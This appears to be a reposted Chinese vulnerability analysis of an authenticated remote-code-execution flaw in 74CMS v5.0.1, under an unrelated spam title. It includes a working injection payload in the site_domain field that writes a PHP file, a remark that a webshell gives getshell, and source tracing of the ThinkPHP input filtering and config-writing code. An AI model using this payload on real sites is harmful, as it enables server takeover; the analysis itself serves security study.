rce是什么敷设方式(抖音后台数据分析平台电脑版登录入口)

文章前言

当笔者第一次看到这个漏洞时,感觉这个漏洞挺鸡肋的,因为需要登录后台管理账户才可以实现RCE,但后期发现这个漏洞的思路挺不错,该漏洞从一个简简单单的网站域名设置到写入恶意代码到url文件,之后再到访问url文件导致恶意代码被执行,最后实现getshell,整个漏洞挖掘思路很是别出心裁,同时也算是给自己了一个警醒——\\”小功能点\\”不容小视,下面对该漏洞进行一个简易分析

影响范围 

74CMS_v5.0.1

利用条件 

登陆后台  

漏洞复现 

环境搭建 
前往74CMS官网下载v5.0.1版本系统安装包:http://www.74cms.com/download/index.html

之后在本地使用PHPstudy来搭建环境:

rce是什么敷设方式(抖音后台数据分析平台电脑版登录入口)

漏洞利用 
首先使用管理员账号登陆后台,点击保存网络配置并使用burpsuite抓包:

rce是什么敷设方式(抖音后台数据分析平台电脑版登录入口)

之后修改site_domain如下: 

<?php phpinfo();?>

base64之后

PD9waHAgcGhwaW5mbygpOz8+

payload:

site_domain=\\\', file_put_contents(\\\'403.php\\\',base64_decode(\\\'PD9waHAgcGhwaW5mbygpOz8%2b\\\')),\\\'

rce是什么敷设方式(抖音后台数据分析平台电脑版登录入口)

之后再请求一次:/74cms/Application/Common/Conf/url.php使得其中的恶意PHP代码被执行:

rce是什么敷设方式(抖音后台数据分析平台电脑版登录入口)

之后成功写入403.php文件,文件内容如下所示:

rce是什么敷设方式(抖音后台数据分析平台电脑版登录入口)

之后访问:

rce是什么敷设方式(抖音后台数据分析平台电脑版登录入口)

在实战中修改文件内容为一句话木马即可成功getshell,这里不再赘述~

漏洞分析

I函数简介 

新版本的74CMS底层使用TP进行了重构,而该漏洞又涉及到I函数,所以我们这里先来介绍一下TP中的I函数,I函数的作用是获取系统变量,必要时还可以对变量值进行过滤及强制转化,I函数的语法格式:

I(\\\'变量类型.变量名/修饰符\\\',[\\\'默认值\\\'],[\\\'过滤方法或正则\\\'],[\\\'额外数据源\\\'])

获取变量 
在PHP中获取变量值的方法有很多,比如:$_GET[\\’变量名\\’],$_POST[\\’变量名\\’],$_SESSION[\\’变量名\\’],$_COOKIE[\\’变量名\\’],$SERVER[\\’变量名\\’] 都可以获取相应的变量值,但在TP中为了安全的原因建议统一使用 I 函数来获取变量值,例如:获取URL地址栏中参数id的值,在php中我们用$_GET[\\’id\\’] 来获取,在thinkphp中我们可以用I(\\’get.id\\’)来获取,同样,$_POST[\\’id\\’] 就用 I(\\’post.id\\’) 取代,I函数的语法格式中的变量类型就是指的像get和post之类的请求方式,类似的变量类型还包括:

rce是什么敷设方式(抖音后台数据分析平台电脑版登录入口)

如果要获取的变量类型是get、post或put,可以统一用param变量类型,param变量类型是框架特有的支持自动判断当前请求类型的变量获取方式,例如:I(\\’param.id\\’) ,如果当前请求类型是GET,那么等效于$_GET[\\’id\\’],如果当前请求类型是POST或者PUT,那么相当于获取$_POST[\\’id\\’] 或者PUT参数id。而事实上当 I 函数获取的变量类型是param时变量类型可以省略直接写为:I(\\’变量名\\’) ,那么 $_GET[\\’id\\’]、$_POST[\\’id\\’] 都可以简写为:I(\\’id\\’) ,但当变量类型为其他类型时就不能这么简写,比如 I(\\’cookie.id\\’)、I(\\’session.id\\’)就不能简写。
注意:I 函数的变量类型不区分大小写,但变量名严格区分大小写,比如 I(\\’get.id\\’) 可以写成 I(\\’GET.id\\’),但不能写成 I(\\’get.ID\\’)
变量过滤 
I函数本身默认的过滤机制是htmlspecialchars,因为在配置文件中配置了:

// 系统默认的变量过滤机制\\\'DEFAULT_FILTER\\\'        =>  \\\'htmlspecialchars\\\',

所以I(\\’post.变量名\\’) 就等同于htmlspecialchars($_POST(\\’变量名\\’)),如果I函数自身带了过滤方法,则用自身带的过滤机制过滤变量,比如:

I(\\\'post.email\\\',\\\'请输入正确的email地址\\\',FILTER_VALIDATE_EMAIL);

表示会对$_POST[\\’email\\’] 进行格式验证判断是否符合email 的格式要求,如果不符合的话,返回提示信息,上面的代码也可以简化:

I(\\\'post.email\\\',\\\'请输入正确的email地址\\\',\\\'email\\\')

上面的 FILTER_VALIDATE_EMAIL是不带引号的,下面的email 是带引号的,像上面 email那样简写的过滤方法名必须是 filter_list方法中的有效值(不同的服务器环境可能有所不同),可能支持的包括:

  • int

  • boolean

  • float

  • validate_regexp

  • validate_url

  • validate_email

  • validate_ip

  • string

  • stripped

  • encoded

  • special_chars

  • unsafe_raw

  • email

  • url

  • number_int

  • number_float

  • magic_quotes

  • callback

变量修饰符 变量修饰符和变量名称之间用“/”分割开来,变量修饰符的作用是强制转化变量的字符类型,比如:

    I(\\\'get.id/d\\\'); // 强制变量转换为整型I(\\\'post.name/s\\\'); // 强制转换变量为字符串类型I(\\\'post.ids/a\\\'); // 强制变量转换为数组类型

    可以使用的修饰符包括:

    源码分析

    下面我们对此漏洞进行分析,这里我们采用正向跟踪分析的方式进行分析,首先,我们根据POC请求包中的URL来对漏洞文件进行定位:
    URL地址:/74cms/index.php?m=Admin&c=config&a=edit
    URL简化:Controller=config&action=edit
    文件定位:/Application/Admin/Controller/ConfigController.class.php
    函数代码:

    public function edit(){        if(IS_POST){            $site_domain = I(\\\'request.site_domain\\\',\\\'\\\',\\\'trim\\\');            $site_domain = trim($site_domain,\\\'/\\\');            $site_dir = I(\\\'request.site_dir\\\',C(\\\'qscms_site_dir\\\'),\\\'trim\\\');            $site_dir = $site_dir==\\\'\\\'?\\\'/\\\':$site_dir;            $site_dir = $site_dir==\\\'/\\\'?$site_dir:(\\\'/\\\'.trim($site_dir,\\\'/\\\').\\\'/\\\');            $_POST[\\\'site_dir\\\'] = $site_dir;            if($site_domain && $site_domain != C(\\\'qscms_site_domain\\\')){                if($site_domain == C(\\\'qscms_wap_domain\\\')){                    $this->returnMsg(0,\\\'主域名不能与触屏版域名重复!\\\');                }                $str = str_replace(\\\'http://\\\',\\\'\\\',$site_domain);                $str = str_replace(\\\'https://\\\',\\\'\\\',$str);                if(preg_match(\\\'/com.cn|net.cn|gov.cn|org.cn$/\\\',$str) === 1){                    $domain = array_slice(explode(\\\'.\\\', $str), -3, 3);                }else{                    $domain = array_slice(explode(\\\'.\\\', $str), -2, 2);                }                $domain = \\\'.\\\'.implode(\\\'.\\\',$domain);                $config[\\\'SESSION_OPTIONS\\\'] = array(\\\'domain\\\'=>$domain);                $config[\\\'COOKIE_DOMAIN\\\'] = $domain;                $this->update_config($config,CONF_PATH.\\\'url.php\\\');            }            $logo_home = I(\\\'request.logo_home\\\',\\\'\\\',\\\'trim\\\');            if(strpos($logo_home,\\\'..\\\')!==false){                $_POST[\\\'logo_home\\\'] = \\\'\\\';            }            // $logo_user = I(\\\'request.logo_user\\\',\\\'\\\',\\\'trim\\\');            // if(strpos($logo_user,\\\'..\\\')!==false){            //     $_POST[\\\'logo_user\\\'] = \\\'\\\';            // }            $logo_other = I(\\\'request.logo_other\\\',\\\'\\\',\\\'trim\\\');            if(strpos($logo_other,\\\'..\\\')!==false){                $_POST[\\\'logo_other\\\'] = \\\'\\\';            }            if($default_district = I(\\\'post.default_district\\\',0,\\\'intval\\\')){                $city = get_city_info($default_district);                $_POST[\\\'default_district\\\'] = $city[\\\'district\\\'];                $_POST[\\\'default_district_spell\\\'] = $city[\\\'district_spell\\\'];                /*选中最后一级,默认选择上一级                $s = D(\\\'CategoryDistrict\\\')->get_district_cache($default_district);                $city = get_city_info($default_district);                if(!$s){                    $citycategory = explode(\\\'.\\\',$city[\\\'district\\\']);                    if(2 <= count($citycategory)){                        array_pop($citycategory);                        $district_spell = explode(\\\'.\\\',$city[\\\'district_spell\\\']);                        array_pop($district_spell);                        $_POST[\\\'default_district\\\'] = implode(\\\'.\\\',$citycategory);                        $_POST[\\\'default_district_spell\\\'] = implode(\\\'.\\\',$district_spell);                    }else{                        $_POST[\\\'default_district\\\'] = \\\'\\\';                        $_POST[\\\'default_district_spell\\\'] = \\\'\\\';                    }                }else{                    $_POST[\\\'default_district\\\'] = $city[\\\'district\\\'];                    $_POST[\\\'default_district_spell\\\'] = $city[\\\'district_spell\\\'];                }                 */            }        }        $this->_edit();        $this->display();    }

    可以看到此处传递进来的site_domain参数会首先经过I函数进行一次输入过滤,I函数的过滤如下所示(部分已注释,可借鉴之前的介绍):ThinkPHP\\\\Common\\\\functions.php

    /** * 获取输入参数 支持过滤和默认值 * 使用方法: * <code> * I(\\\'id\\\',0); 获取id参数 自动判断get或者post * I(\\\'post.name\\\',\\\'\\\',\\\'htmlspecialchars\\\'); 获取$_POST[\\\'name\\\'] * I(\\\'get.\\\'); 获取$_GET * </code> * @param string $name 变量的名称 支持指定类型 * @param mixed $default 不存在的时候默认值 * @param mixed $filter 参数过滤方法 * @param mixed $datas 要获取的额外数据源 * @return mixed */function I($name,$default=\\\'\\\',$filter=null,$datas=null) {    static $_PUT    =   null;    if(strpos($name,\\\'/\\\')){ // 指定修饰符        list($name,$type)   =   explode(\\\'/\\\',$name,2);    }elseif(C(\\\'VAR_AUTO_STRING\\\')){ // 默认强制转换为字符串        $type   =   \\\'s\\\';    }    if(strpos($name,\\\'.\\\')) { // 指定参数来源        list($method,$name) =   explode(\\\'.\\\',$name,2);    }else{ // 默认为自动判断        $method =   \\\'param\\\';    }    switch(strtolower($method)) {        case \\\'get\\\'     :               $input =& $_GET;            break;        case \\\'post\\\'    :               $input =& $_POST;            break;        case \\\'put\\\'     :               if(is_null($_PUT)){                parse_str(file_get_contents(\\\'php://input\\\'), $_PUT);            }            $input  =   $_PUT;                    break;        case \\\'param\\\'   :            switch($_SERVER[\\\'REQUEST_METHOD\\\']) {                case \\\'POST\\\':                    $input  =  $_POST;                    break;                case \\\'PUT\\\':                    if(is_null($_PUT)){                        parse_str(file_get_contents(\\\'php://input\\\'), $_PUT);                    }                    $input  =   $_PUT;                    break;                default:                    $input  =  $_GET;            }            break;        case \\\'path\\\'    :               $input  =   array();            if(!empty($_SERVER[\\\'PATH_INFO\\\'])){                $depr   =   C(\\\'URL_PATHINFO_DEPR\\\');                $input  =   explode($depr,trim($_SERVER[\\\'PATH_INFO\\\'],$depr));                        }            break;        case \\\'request\\\' :               $input =& $_REQUEST;               break;        case \\\'session\\\' :               $input =& $_SESSION;               break;        case \\\'cookie\\\'  :               $input =& $_COOKIE;                break;        case \\\'server\\\'  :               $input =& $_SERVER;                break;        case \\\'globals\\\' :               $input =& $GLOBALS;                break;        case \\\'data\\\'    :               $input =& $datas;                  break;        default:            return null;    }    if(\\\'\\\'==$name) { // 获取全部变量        $data       =   $input;        $filters = isset($filter) ? $filter.\\\',\\\'.C(\\\'DEFAULT_FILTER\\\') : C(\\\'DEFAULT_FILTER\\\');        //$filters    =   isset($filter)?$filter:C(\\\'DEFAULT_FILTER\\\');        if($filters) {            if(is_string($filters)){                $filters    =   explode(\\\',\\\',$filters);            }
    foreach($filters as $filter){ $data = array_map_recursive($filter,$data); // 参数过滤 } } }elseif(isset($input[$name])) { // 取值操作 $data = $input[$name]; $filters = isset($filter) ? $filter.\\\',\\\'.C(\\\'DEFAULT_FILTER\\\') : C(\\\'DEFAULT_FILTER\\\'); //$filters = isset($filter)?$filter:C(\\\'DEFAULT_FILTER\\\'); if($filters) { if(is_string($filters)){ if(0 === strpos($filters,\\\'/\\\')){ if(1 !== preg_match($filters,(string)$data)){ // 支持正则验证 return isset($default) ? $default : null; } }else{ $filters = explode(\\\',\\\',$filters); } }elseif(is_int($filters)){ $filters = array($filters); }
    if(is_array($filters)){ foreach($filters as $filter){ if(function_exists($filter)) { $data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤 }else{ $data = filter_var($data,is_int($filter) ? $filter : filter_id($filter)); if(false === $data) { return isset($default) ? $default : null; } } } } } if(!empty($type)){ switch(strtolower($type)){ case \\\'a\\\': // 数组 $data = (array)$data; break; case \\\'d\\\': // 数字 $data = (int)$data; break; case \\\'f\\\': // 浮点 $data = (float)$data; break; case \\\'b\\\': // 布尔 $data = (boolean)$data; break; case \\\'s\\\': // 字符串 default: $data = (string)$data; } } }else{ // 变量默认值 $data = isset($default)?$default:null; } is_array($data) && array_walk_recursive($data,\\\'think_filter\\\'); return $data;}

    再上述I函数中,参数$name——>request.site_domain,参数$filter——>trim,所以首先会进入到一个if判断语句的elseif中,并且设置$tyep为\\’s\\’,即数据类型未字符串,之后进入到紧跟着的\\”if(strpos($name,\\’.\\’)) { \\”中,在这里分别从$name取值并将其分配指配给参数$method与$name,此时的$method即为requets,而$name为site_domain(即我们传递进来的参数值),之后跟进$method进行匹配操作,在此处由于$method为$request,所以最终$input为$REQUEST,之后退出循环。 

    之后在进行下面的另一个if…else判断,此处的$name不为空,所以直接进入else语句中,之后通过语句:isset($input[$name])来判断是否设置$name的值,此时的判断等级于isset($REQUEST[site_domain]),很显然我们的payload中构造的参数正是有site-domain传递进来的,所以此处定然不为空,之后继续下下分析,在这里会对$data进行一次赋值操作,数据为我们传递过来的site_domain的值,而此时的fileters为我们的trim(对字符串两侧的特定字符进行移除操作),之后通过调用array_map_recursive函数对参数进行过滤操作,array_map_recursive代码如下所示:

      function array_map_recursive($filter, $data) {    $result = array();    foreach ($data as $key => $val) {        $result[$key] = is_array($val)         ? array_map_recursive($filter, $val)         : call_user_func($filter, $val);    }    return $result; }

      在array_map_recursive函数中会通过一个循环来递归对$data中的数据进行参数过滤,之后将传入的filter——>$trim(),以及$val—>$data作为参数通过call_user_func来调用用户自定义的函数,此处为trim()函数,所以此时会对我们构造的$data进行一次两边去空格、去Tab键等操作。之后我们再往下跟踪分析,之后会根据$type的值来对$data进行一次前置转换,此处为s,即字符串类型,在最后会通过array_walk_recursive来递归调用think_fliter对$data进行一次安全过滤操作,think_fliter函数代码如下所示:

      function think_filter(&$value){    // TODO 其他安全过滤
      // 过滤查询特殊字符 if(preg_match(\\\'/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i\\\',$value)){ $value .= \\\' \\\'; }}

      可以看到该函数主要过滤了一些查询特殊字符,此处应该为防止SQL注入的安全防护措施,此处对我们payload中的site_domain不会造成任何影响。下面我们继续返回之前的/Application/Admin/Controller/ConfigController.class.php文件中进行分析,之后可以看到此处的$site_domain会继续被传进trim函数中经一次移除\\”/\\”操作,之后判断$site_domain是否为空,以及$site_domain是否等于\\’qscms_site_domain\\\'(此处的C函数用于获取和设置配置参数),之后对$site_domain中的\\”http://\\”或\\”https://\\”进行一次替换操作,并将其复制给$str,最后调用update_config函数进行一次更新配置操作,并以$config作为参数进行传递(反向溯源:$domain—>$str—>$site_domain——>request.site_domain)

      public function edit(){        if(IS_POST){            $site_domain = I(\\\'request.site_domain\\\',\\\'\\\',\\\'trim\\\');            $site_domain = trim($site_domain,\\\'/\\\');            $site_dir = I(\\\'request.site_dir\\\',C(\\\'qscms_site_dir\\\'),\\\'trim\\\');            $site_dir = $site_dir==\\\'\\\'?\\\'/\\\':$site_dir;            $site_dir = $site_dir==\\\'/\\\'?$site_dir:(\\\'/\\\'.trim($site_dir,\\\'/\\\').\\\'/\\\');            $_POST[\\\'site_dir\\\'] = $site_dir;            if($site_domain && $site_domain != C(\\\'qscms_site_domain\\\')){                if($site_domain == C(\\\'qscms_wap_domain\\\')){                    $this->returnMsg(0,\\\'主域名不能与触屏版域名重复!\\\');                }                $str = str_replace(\\\'http://\\\',\\\'\\\',$site_domain);                $str = str_replace(\\\'https://\\\',\\\'\\\',$str);                if(preg_match(\\\'/com.cn|net.cn|gov.cn|org.cn$/\\\',$str) === 1){                    $domain = array_slice(explode(\\\'.\\\', $str), -3, 3);                }else{                    $domain = array_slice(explode(\\\'.\\\', $str), -2, 2);                }                $domain = \\\'.\\\'.implode(\\\'.\\\',$domain);                $config[\\\'SESSION_OPTIONS\\\'] = array(\\\'domain\\\'=>$domain);                $config[\\\'COOKIE_DOMAIN\\\'] = $domain;                $this->update_config($config,CONF_PATH.\\\'url.php\\\');            }            $logo_home = I(\\\'request.logo_home\\\',\\\'\\\',\\\'trim\\\');            if(strpos($logo_home,\\\'..\\\')!==false){                $_POST[\\\'logo_home\\\'] = \\\'\\\';            }            // $logo_user = I(\\\'request.logo_user\\\',\\\'\\\',\\\'trim\\\');            // if(strpos($logo_user,\\\'..\\\')!==false){            //     $_POST[\\\'logo_user\\\'] = \\\'\\\';            // }            $logo_other = I(\\\'request.logo_other\\\',\\\'\\\',\\\'trim\\\');            if(strpos($logo_other,\\\'..\\\')!==false){                $_POST[\\\'logo_other\\\'] = \\\'\\\';            }            if($default_district = I(\\\'post.default_district\\\',0,\\\'intval\\\')){                $city = get_city_info($default_district);                $_POST[\\\'default_district\\\'] = $city[\\\'district\\\'];                $_POST[\\\'default_district_spell\\\'] = $city[\\\'district_spell\\\'];                /*选中最后一级,默认选择上一级                $s = D(\\\'CategoryDistrict\\\')->get_district_cache($default_district);                $city = get_city_info($default_district);                if(!$s){                    $citycategory = explode(\\\'.\\\',$city[\\\'district\\\']);                    if(2 <= count($citycategory)){                        array_pop($citycategory);                        $district_spell = explode(\\\'.\\\',$city[\\\'district_spell\\\']);                        array_pop($district_spell);                        $_POST[\\\'default_district\\\'] = implode(\\\'.\\\',$citycategory);                        $_POST[\\\'default_district_spell\\\'] = implode(\\\'.\\\',$district_spell);                    }else{                        $_POST[\\\'default_district\\\'] = \\\'\\\';                        $_POST[\\\'default_district_spell\\\'] = \\\'\\\';                    }                }else{                    $_POST[\\\'default_district\\\'] = $city[\\\'district\\\'];                    $_POST[\\\'default_district_spell\\\'] = $city[\\\'district_spell\\\'];                }                 */            }        }        $this->_edit();        $this->display();    }

      之后跟进update_config函数,函数代码如下所示:文件位置:Application\\\\Common\\\\Controller\\\\BackendController.class.php

        public function update_config($new_config, $config_file = \\\'\\\') {        !is_file($config_file) && $config_file = HOME_CONFIG_PATH . \\\'config.php\\\';        if (is_writable($config_file)) {            $config = require $config_file;            $config = multimerge($config, $new_config);            if($config[\\\'SESSION_OPTIONS\\\']){                $config[\\\'SESSION_OPTIONS\\\'][\\\'path\\\'] = SESSION_PATH;            }            file_put_contents($config_file, \\\"<?php \\\\nreturn \\\" . stripslashes(var_export($config, true)) . \\\";\\\", LOCK_EX);            @unlink(RUNTIME_FILE);            return true;        } else {            return false;        }    }

        在该函数中,首先判断$config_file(Application/Common/Conf/url.php)是否是一个文件,并对$config_file的路径进行重定义(此处的HOME_CONFIG_PATH为:/Application/Home/Conf/),之后判断文件是否可写,之后调用multimerge方法,在multimerge方法中进行一次类似于复制的操作将$new_config(我们恶意请求中的site_domain)中的内容复制到$config_file中:

        function multimerge($a, $b) {    if (is_array($b) && count($b)) {        foreach ($b as $k => $v) {            if (is_array($v) && count($v)) {                $a[$k] = in_array($k, array(\\\'SESSION_OPTIONS\\\')) ? multimerge($a[$k], $v) : $v;            } else {                $a[$k] = $v;            }        }    } else {        $a = $b;    }    return $a;}

        之后返回到BackendController.class.php中在L475行会进行一次写文件操作,其中$config_file为Application/Common/Conf/url.php,内容$config为我们恶意请求中的site_domain的内容,再次我们可以向Application/Common/Conf/url.php写入我们构造的恶意PHP代码:

          public function update_config($new_config, $config_file = \\\'\\\') {        !is_file($config_file) && $config_file = HOME_CONFIG_PATH . \\\'config.php\\\';        if (is_writable($config_file)) {            $config = require $config_file;            $config = multimerge($config, $new_config);            if($config[\\\'SESSION_OPTIONS\\\']){                $config[\\\'SESSION_OPTIONS\\\'][\\\'path\\\'] = SESSION_PATH;            }            file_put_contents($config_file, \\\"<?php \\\\nreturn \\\" . stripslashes(var_export($config, true)) . \\\";\\\", LOCK_EX);            @unlink(RUNTIME_FILE);            return true;        } else {            return false;        }    }

          在这里我们可以看一下之前我们在漏洞利用阶段是否有写入恶意PHP代码到url.php中呢?从下图可以看到是有的,这里笔者利用了两次,所有有两次的记录:

          在利用漏洞的最后一个阶段,我们只需要访问url.php,之后使其内部的代码执行即可实现写文件到当前目录下的403.php中~

          文末小结

          很多时候,在代码审计过程中我们往往会忽略一些细小的功能点,例如本文的网站域名更新设置,这些更新、删除、查询、新增逻辑等很多时候如果通过代码层面向下进行跟踪分析,很可能有意想不到的惊喜  

          参考链接

          https://www.cnblogs.com/programs/p/5490151.html https://github.com/kyrie403/Vuln/blob/master/74cms/74cms%20v5.0.1%20remote%20code%20execution.md  

          原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34195.html

          (0)
          七芒星实验室的头像七芒星实验室
          上一篇 2024年4月6日
          下一篇 2024年4月6日

          相关推荐

          发表回复

          您的电子邮箱地址不会被公开。 必填项已用 * 标注